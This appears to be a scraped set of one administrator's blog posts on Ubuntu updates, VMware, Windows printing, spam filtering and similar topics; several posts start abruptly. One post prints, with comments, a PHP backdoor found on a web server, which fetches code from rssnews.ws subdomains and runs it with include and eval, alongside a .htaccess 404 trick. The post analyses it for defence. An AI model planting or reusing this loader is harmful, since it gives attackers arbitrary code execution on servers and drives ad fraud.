The problem: You’ve enabled automatic security update installation, and yet, security updates are not being automatically installed.

First possible solution: This one is easy. Check the file /etc/cron.daily/apt and make sure that it is marked executable. Permissions on this file should look like rwxr-xr-x (755). This file somehow lost its executability when I upgraded from one Ubuntu release to the next, which broke the daily update check and thus no automatic security update installation.

In the more recent occurrence of this problem for me, the daily update check was obviously happening. I would connect to the server via SSH and see something like…

Welcome to the Ubuntu Server!
* Documentation: http://www.ubuntu.com/server/doc

5 packages can be updated.
5 updates are security updates.

So, the daily update check was happening, but the automatic update installation was not. What could cause this?

Well, it turns out that the script that does the update installation will only proceed to that point if the check for updates was successful (no errors at all). This leads us to…

Second possible solution: Run a sudo aptitude update or sudo apt-get update and see if there are any errors. If there are, address them, and hopefully that will resolve the problem. In my case, I had a third-party repository that had become inaccessible, so although the main Ubuntu repositories were updating fine, this error still prevented automatic security update installation.

If you want to know how to set up automatic security updates, there are (at least) three possible ways:

• When first installing the system, you will be given the option to enable automatic security updates.
• Follow the directions on this page in the Ubuntu Wiki. I recommend the apt.conf.d method (which is what will be set up for you using either of the other options presented here), but, the cron method may help you get around other similar issues that prevent automatic updates from working.
• You can set it up using the GUI method like you would with a desktop version of Ubuntu. First, install Synaptic (sudo aptitude install synaptic). Then, make sure that you are connected to your server via SSH with X11 forwarding (by adding the -Y parameter to ssh when you connect). Then, run Synaptic on the server as root (just type “sudo synaptic” at the terminal) and the Synaptic window should appear on your desktop. Then, select “Settings -> Repositories” from the menu, click on the “Updates” tab, and configure automatic updates as you see fit.

Out-of-the-box, it can only be managed through the web interface. The web interface itself is not too bad, but if you aren’t accessing it from the same machine that it’s running on, it forces you to use HTTPS. This is great, of course, except something is wonky with the https implementation that is used (it appears to only support SSL version 2, for which support is disabled by default or outright removed from the current version of every major browser?). So, blah. I can’t manage my VMs remotely, which is one of the reasons why I’d like to use VMware Server in the first place.

Now, there are ways around this. You could set up an SSH tunnel or some similar network trick so that you could access the web interface without being kicked over to HTTPS. Or you could use Remote Desktop or a remote X application to access it using a web browser on the same machine as the server. These work for getting to the configuration pages, but I still had trouble trying to access the remote console (which relies on a browser plugin that seems a bit flaky).

There are lots of people complaining about both of these issues (flaky HTTPS and flaky remote console). Now, wouldn’t it be cool if there was a downloadable client that could manage said VMs without having to use the web browser?After all, there was a client for VMware Server 1.x, and while it is separately downloadable, it doesn’t work with VMware Server 2.

Some searching reveals a lot of people talking about this back during the VMware Server 2 beta period, where you could actually download a client to use from the VMware Server web interface itself (granted, it wasn’t exposed, you had to know what URL to type in). But, I found that it has been removed from the current version.

So, I set out looking for a client that will work. There is a separately downloadable client for VMware vSphere (the current version of which is 4.1), but it doesn’t work either. I was able to get it talking to my vMware Server installation, but it wanted to download some support files and gave a generic non-useful error message when I told it to go ahead.

Maybe you found this page because you are searching for a client that will work with VMware Server 2. Here’s the answer.

I discovered that there is a copy of VMware Infrastructure Client hidden in the download of VMware Server 2. The catch is you have to download VMware Server 2.0.0 (not 2.0.1 or 2.0.2). It’s still available on the VMware Server download page. I downloaded the 32-bit Linux version (.tar.gz), unzipped it, and found it at vmware-server-distrib\lib\hostd\docroot\client\VMware-viclient.exe. This installs VMware Infrastructure Client 2.5.0.103672, and it looks like it is the copy of the client intended to be included with VMware VirtualCenter (now VMware vCenter).

Update, August 25, 2010: Alternatively, you may download the client from here.

There’s also a trick to getting it to connect. When you launch the client, it will ask you for the server address, name, and password. For the address, you must enter something like “https://[server]:8333” (just “[server]” won’t work). Then, the username and password are the same that you would use to log in to the web interface.

I also got an error the first few times I tried to connect, but I kept trying again without changing anything and it worked on the 3rd or 4th try. Since then, it’s been great. And while the client can’t manage the settings on the VMs (only if the VM’s hardware version is too new — will still have to use the web interface for that), the remote console works fine.

Hopefully, the next major release of VMware Server will either include a separate client again, or address the issues with the web interface (or both!).

Well, the cheesiest way to fix this problem is to set the Print Spooler service to automatically after failure.  Visit the Print Spooler service properties in the Services module in the MMC and click on the “Recovery” tab.  I found the default settings to be “Restart the Service” for first and second failures, but not for subsequent failures.  Set all three of the options to “Restart the Service.”

Alright… problem solved.

Except the Print Spooler service is still crashing, as I can see in the reliability monitor:

What’s this?  Some of these crashes are 10 minutes apart or less?  Even though the Print Spooler restart every time it crashes, I’d like to get rid of the crashes altogether.

Looking at the system event logs, I found error messages that correspond to the service crash times that look like this:

Faulting application name: spoolsv.exe, version: 6.1.7600.16385, time stamp: 0x4a5bd3d1
Faulting module name: wsdapi.dll, version: 6.1.7600.16385, time stamp: 0x4a5be0a1
Exception code: 0xc0000005
Fault offset: 0x000000000000769a
Faulting process id: 0×1340
Faulting application start time: 0x01cb3e447c97686a
Faulting application path: C:\Windows\System32\spoolsv.exe
Faulting module path: C:\Windows\System32\wsdapi.dll
Report Id: d1e7f7eb-aa38-11df-b6ff-caee131491bf

Ah ha!  wsdapi.dll is blamed for crashing the Print Spooler service.  Some research indicates that this DLL is used to talk to printers configured to print via WSD, or Web Services for Devices.

Turns out that we have a couple of printers at the office where I work that support WSD, and Windows 7 had automatically chosen WSD when I set them up using the printer setup wizard.  By the way, you can check to see if you have any printers set up to use WSD by opening Print Management (find it using the Start Menu search), and then clicking on Print Servers -> (your computer) -> Ports.  Any WSD ports will have a name starting with “WSD.”

Now, I don’t know if this crash is because of Microsoft’s WSD support, or flaky printer drivers, or a flaky WSD implementation on the printer itself, or what.  All of the print drivers I am using are either the ones bundled with Windows 7 or ones provided automatically by Windows Update, though.  Anyway, I decided to delete the WSD printers and set them up again using plain old TCP/IP printing without WSD, to see if that cured the problem.  Sure enough, it did.  Here’s how it goes.

In the printer setup wizard, after telling it you want to search for a network printer, make sure you choose the option that says your printer was not listed (even if it was).

Then say you want to add a printer by its IP address.

Then set the device type to “TCP/IP Device” instead of “Autodetect” or “WSD”…

And then, type in the IP address.

Then complete the printer setup as normal and repeat for any other WSD printers that you have.  If you got them all, no more crashes due to WSD!

First, taking a look at the .htaccess file, which is pretty straightforward.

Options -MultiViews
ErrorDocument 404 //[directory path]/203497.php

This is obviously intended to direct 404 errors to the other file that was uploaded, 203497.php. This has the sneaky side-effect of hiding hits to the file from the Apache logs — in addition to looking for hits to 203497.php, you have to look for any hits in the same directory that resulted in the 404.

Now for the interesting file, 203497.php. This file was condensed when I found it (no whitespace, and all of the code on one line). I formatted it a little and added comments. I’ve divided it into parts (indicated in the comments) that I will discuss. Here it is:

<?
// Disable error reporting.
error_reporting(0);

// --1--
// Gather a bunch of info about the current request...
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);

// ...and glue it all together.
$z="/?" . base64_encode($a) . " . " . base64_encode($b) . " . " . base64_encode($c) . " . " . base64_encode($d) . " . " . base64_encode($e) . " . " . base64_encode($f) . " . " . base64_encode($g) . " . " . base64_encode($h) . " . e . " . base64_encode($i) . " . " . base64_encode($j);

// --2--
// Decodes to "rssnews.ws".
$f=base64_decode("cnNzbmV3cy53cw==");

// If the "q" request parameter equals some super secret password...
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "11b97f7e132cd3175d7801f278ff73ae") {
// ...override our "f" variable with whatever was sent.
$f=$_REQUEST["id"];
}

// --3--
// Attempt to load a remote page and evaluate it as PHP.
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z))); // http://ads....

// If that failed, attempt to load another one and evaluate it as PHP.
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z)) { // http://7....
eval($c);
}
// If that failed, attempt to load another one and evaluate it as PHP.
else {
$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z); // http://71....
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);
}
;
die();
?>

Let’s take it apart.

Part 1

This appears to just gather some information about the current request — various pieces of the URL, referrer, user agent, IP address, and so forth. It’s then glued together into one long base64-encoded string.

Part 2

Whoever wrote this likes to use literals encoded in base64 to (minimally) obfuscate what’s going on. Wherever there is base64-encoded stuff, I decoded it and left it in the comments.

The variable “$f” from here on out appears to be the domain name that is going to be used for a remote call in a moment. It defaults to “rssnews.ws“, but can be overridden by an “id” parameter if a correct parameter “q” is given. Who knows what the correct value is, because it is only compared against an MD5 hash here.

Part 3

Here are three different attempts to load a remote HTTP page. One by the function include, one by file_get_contents, and one using cURL. I think that whoever wrote this is hoping that if you’ve blocked out one of these methods via settings in php.ini, one of the other ones will still work.

The page that is loaded is prefixed by a different value each time — the first attempt is http://ads.rssnews.ws/, the second is http://7.rssnews.ws/, and the third is http://71.rssnews.ws/ (of course, the “rssnews.ws” part can be overridden in part 2). A GET parameter is given that is all of the information collected in part 1.

Now… what is done with the result? It is executed as PHP code. In the first case, the include function is used, which will take the contents of the remote page and plop it right into the script to be executed. In the other two cases, the eval function is used to execute the contents of the remote page. Again, different methods, possibly getting around block-outs in php.ini.

After that, the script is done.

How yucky to find something like this sitting on your web server! This allows an attacker to potentially execute any arbitrary PHP code on your server. And while PHP is primarily used for generating page content, it can do all sorts of things, like read the contents of files sitting around on your server (perhaps discovering sensitive information like your database password), delete files (depending on your file system permissions), send e-mail, and execute system commands. So, basically, anything that the web server user is allowed to do.

This is a good reason to make sure the permissions on your web server are pretty tight.

Anyway, how did this stuff get on the server to begin with? I said at the top that these files were found in a directory that contains user-uploaded files (supposedly, images). It appears that a lack of checking the file as it came in was the reason that these files were able to make it up. So, here’s a few lessons:

• If you are accepting file uploads with your web application, at the very least, check the file extension on file uploads (or force it to a certain value). Do not allow user-uploaded files to end up on your server with extensions like .php, .htaccess, .pl, .sh, or stuff like that. If you’re expecting images, restrict it to image extensions like .jpg and .png. At least if a file containing malicious code makes it up, that code won’t be executed by your server.
• If you can help it, don’t put user-uploaded files in a web-accessible directory. Store them elsewhere on the file system and use another PHP script to allow access to them. That way you have the opportunity to check to make sure that you’re serving what you think you’re serving.

So, the damage? Even though this script allows an attacker to execute arbitrary PHP and do mean things to your server, that doesn’t appear to be its intended use. It actually does mean things to someone else. Some Googling reveals many other people complaining about this script, with the only differences being the name of the PHP file (always a random number), the MD5 value in part 2, and in some cases the default URL in part 2.

Heading over to http://7.rssnews.ws/en/ gives us an “earn money with your site” site. I haven’t tried it, but apparently they give you some files to stick on your web server (probably the very two files I describe in this post). A bunch of fake URLs that will result in 404 errors hitting said files will be seeded out to search engines. Search engines will attempt to crawl the URLs. The PHP script above will fire up and simulate an ad click somewhere. Ta da! Money.

Checking out the server logs, this seems consistent with the activity I’ve seen. There were no hits to the 203497.php file directly, but here is a small sampling of the hits that generated a 404 that executed the script:

/[directory path]/allopass-key.html
/[directory path]/curitel_usb_driver-x64.html
/[directory path]/lords-of-the-realm-2-torrent.html
/[directory path]/ninja-wagner-fotos.html
/[directory path]/rationing-tutorials-photoshop.html
/[directory path]/pro-bowl.html
/[directory path]/massive-atack.html

… and, all of these hits had user agents that look like search engine crawlers (mostly Yahoo! Slurp).

The fake ad click will appear to come from the web server’s IP address. If this script is widely distributed, it’ll be tough for the advertisers (who are the real victims here) to detect and block this fraudulent activity. Because the PHP code that actually does the “ad clicking” is loaded remotely (from the very site distributing the script), it can be updated if somehow the advertisers catch on and find a way to detect this activity. If rssnews.ws ever gets shut down, they also have the option to override the default URL, so they could just set up on another domain. (I found references to phpsearch.cn being the default domain, and you can see the same site running at http://7.phpsearch.cn/en/.)

And furthermore, apparently this script has been distributed en masse using security vulnerabilities in widely-used software like WordPress and Drupal. Though the site I found it running on was running a home-grown CMS, so there are obviously people out there looking for exploits to distribute this on a small scale as well.

• Secure your server! Make sure the file permissions are locked down. Don’t even trust the user that the web server runs as. You never know when something like this might show up on your system, allowing the execution of arbitrary code.
• Keep your software up to date! Vulnerabilities in software from the bottom (Linux and system libraries) to the middle (Apache, PHP, MySQL) to the top (web applications like WordPress) can potentially allow for this sort of thing to sneak in. Most large open-source operations take security very seriously and get patches out quick if a vulnerability is found (and especially if people are exploiting it), but many times it still requires some effort on your part to get the new software where it needs to be. If you write your own code, think about ways to break in.
• Check things over from time to time and make sure there’s no suspicious files or traffic.

That’s all for now. Hope this helps someone!

Today, support for Windows 2000 from Microsoft ends. Windows 2000 was released over ten years ago, on February 17, 2000. Although it may have had a shaky start as far as application compatibility goes, it is renowned as one of the most stable operating systems ever to come out of Microsoft, and it paved the way for Microsoft to merge the “home” (9x) and “business” (NT) lines of Windows with Windows XP, the following year.

Windows 2000 received its last service pack, Service Pack 4, on June 26, 2003. It has been in “extended support” since June 30, 2005, and since then it has only been receiving security updates from Microsoft. Now, all support for Windows 2000 is dropped, and security updates will no longer be issued.

Another Windows release passes on to the pile of Windows versions past. But this was a great one, so I wanted to post a small tribute to it.

If you were wondering, Windows ME was released after Windows 2000, on September 14, 2000. However, Microsoft dumped support for this operating system, the last of the “9x” line, back in 2006. The next operating system, Windows XP, is already in “extended support,” but will continue to receive security updates until April 8, 2014. By this time, Windows Vista will be in extended support (which happens in April, 2012). Only Vista Business and Vista Enterprise will be supported during the “extended support” phase, which will last until 2017, so support for the other editions (including Ultimate!) will end completely, before XP’s support runs out.

Anyway, here’s something that I’ve run into a few times now:  After running a repair install using a Windows XP SP3 disc, after booting up and logging in, you’re given the message along the lines of: “You must activate Windows before you can log on.  Would you like to activate Windows now?”  If you select “Yes,” which is supposed to bring up the activation prompt, nothing happens.  You get to stare at your desktop wallpaper until you decide to restart your computer manually.  If you select “No,” you are immediately logged out.  What to do?

Anyway, I discovered an easy solution to this problem today:  Just boot the machine in safe mode and install Internet Explorer 8.  (You’ll need to download it from Microsoft’s web site and put it on a flash drive or something to move to the troubled machine.)  After IE8 is installed, reboot again in normal mode and you should be able to activate.  Note that you still may have to wait a minute or so for the activation window to appear after you click “Yes.”

This condition may be dependent on having IE8 (or 7?) installed before you attempt the repair install, and it somehow gets messed up during the install.

I suppose this is kind of handy if you were manually starting Cygwin/X, it’s pretty annoying if you have it set to start up when you log in to Windows.  To keep this from happening, you just need to add an empty .startxwinrc file to your Cygwin home directory.  That is, start the Cygwin bash shell, and use this command:

touch .startxwinrc

That’s it!  No more xterm windows popping up.

Oh, if you’d rather have something besides xterm start up when you start Cygwin/X, you can just add a list of commands to .startxwinrc and it will execute them after starting the X.Org server.

So, after finally getting Postini deployed and enabled for all accounts, the Postini stats report that just over 50% of incoming mail is being tossed out as “blatant spam,” with over 25% of the remaining mail being quarantined as “potential spam.”  This is with Postini on the default lowest aggressiveness setting.  So, assuming the worst case (“all incoming mail is spam”, which is almost true), our users are already receiving less than 37.5% as much spam as they used to.  Once we’re satisfied that things are working fine, I’ll bump up the aggressiveness.

Anyways, I noticed that my FirstClass inbox was still being bombarded by spam messages (a few per hour), most of them obviously spam.  Why weren’t these being blocked by Postini?

Checking the headers on these spam messages, I noticed that they weren’t being routed through the Postini servers.  This means that the spammers are ignoring the MX records for our domain and delivering mail directly to the FirstClass server.  They must have cached the old MX record and kept using it after we switched it to point to a Postini server, because what spammer wants to send mail through Postini if they have the choice?  Anyway, yuck.

Turns out that this is not an unknown problem.  I find it pretty interesting, though.  I didn’t know that spammers did this since I had never bumped into this situation before; just another pretty smart thing that the spammers are doing to get around your efforts to stop them.

Anyway, the solution in this case is to set the mail server (the FirstClass server in this case) or a firewall in between your mail server and the Internet to only accept connections from where it should be coming from.  Seems simple enough?  We are actually routing the mail through Google Apps, so the answer was to only allow connections from addresses that Google’s SPF record says that mail should be coming from.

209.85.128.0/17
216.239.32.0/19
64.233.160.0/19
66.249.80.0/20
72.14.192.0/18
66.102.0.0/20
74.125.0.0/16
64.18.0.0/20
207.126.144.0/20
173.194.0.0/16

Anyway, I set these filters in our firewall and, presto, no spam messages all weekend.

Server error!
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script.
If you think this is a server error, please contact the webmaster.
Error 500

Turned out that the .htaccess file in the root of the WordPress install had some gibberish in it.  It looks like this gibberish replaced some of the actual contents of the file.  I don’t know how it got there, but fixing the .htaccess file solved the problem.  So, that’s something to check if you are having this problem as well!

I’m a bit disappointed, but not surprised, that this initial launch of XMPP support comes without support for XMPP federation (“S2S”).  If we had S2S support for Facebook Chat, then Facebook users could talk with users on any XMPP/Jabber network, and vice versa.  This would also enable a particularly cool bridge between Facebook Chat and Google Talk, which are both based on XMPP, and it might even push AIM and WLM more towards supporting XMPP, so that we could have a truly universal IM network on the Internet.  (We have it for e-mail already… why not for IM?)

Of course, Facebook is still about connections to other Facebook users, and all of the group and privacy controls are based on this.  So, this is how I picture XMPP federation working with Facebook:

• A user, who we will call “Joe,” uses another XMPP network but wants to talk to Facebook Chat users.
• Joe must have a Facebook account.
• Joe goes to his Facebook account and registers his XMPP handle by adding it to his profile (just like you can add additional e-mail addresses).
• Now, Facebook sends authentication requests from all of the users that Joe can talk to on Facebook Chat to Joe’s XMPP account.  Joe can then add them to his other XMPP contact list.
• Now, Joe can talk to Facebook Chat users from his other XMPP account.  Facebook Chat users using the web interface will see Joe just like they see any other Facebook user, along with his picture and a link to his profile or whatever.  Privacy settings that they have applied to Joe apply to his extra XMPP account too.  Since he registered his XMPP handle in his profile, everyone knows who he is, and Facebook makes this connection between his XMPP account and his Facebook account obvious to Facebook Chat users.

There you have it.  Simple for Facebook Chat users using the web UI — in fact, the user experience for them doesn’t change at all.  And convenient for people who already use another XMPP account to chat (like Google Talk).

Launching XMPP support closed this long-standing bug, which was the highest-voted bug on Facebook’s Bugzilla bug tracker.  I’d love to see similar support for the XMPP federation bug!

Update, 10:34 PM:

Just for reference, you can check out Facebook Chat’s XMPP implementation status at IMTrends.  Once they support XMPP federation, we should see green checkmarks next to the server-to-server entries (like this one).

Update, February 12, 2010:

Someone actually beat me to filing a bug for XMPP federation support.  (Though I am sure I searched for “XMPP” before filing my bug and it didn’t show up.)  I’ve changed the link above to point to the earlier bug.